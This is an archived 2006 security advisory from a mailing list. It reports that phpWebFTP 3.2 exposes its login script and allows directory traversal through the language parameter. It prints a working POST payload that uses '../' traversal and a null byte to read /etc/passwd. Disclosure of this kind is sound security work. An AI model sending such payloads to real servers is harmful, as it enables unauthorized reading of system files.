OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
PhpWebFTP 3.2 Login Script

arko.dhargmail.com
Date: Sun Apr 16 2006 - 21:21:52 CDT


Summary
===============================================
phpWebFTP enables connections to FTP servers, even behind a firewall not allowing traffic. phpWebFTP bypasses the firewall by making a FTP connection from your webserver to the FTP server and transfering the files to your webclient over the http protocol

===========================================

Issue :
Well I have found that most of the sites that use phpwebftp v3.2 > less have a problem. The user login script is a javascript file called script.js. This file validates the user input in the logon box. But to my surprise this file is directly accessed by web browser . The disclosure of the source code can help an attacker to trigger code injections .

Exploit :
http://www.anysite.com/PhpWebFtp/include/script.js

Further a directory traversal is possible via malicious arguments passed on the web browser using POST Method relative to the path of phpWebftp ie. http://www.anysite.com/PhpWebFtp/index.php? .

'server=1&port=21&goPassive=on&user=1&password=1&language=../../../../../../../../etc/passwd%00'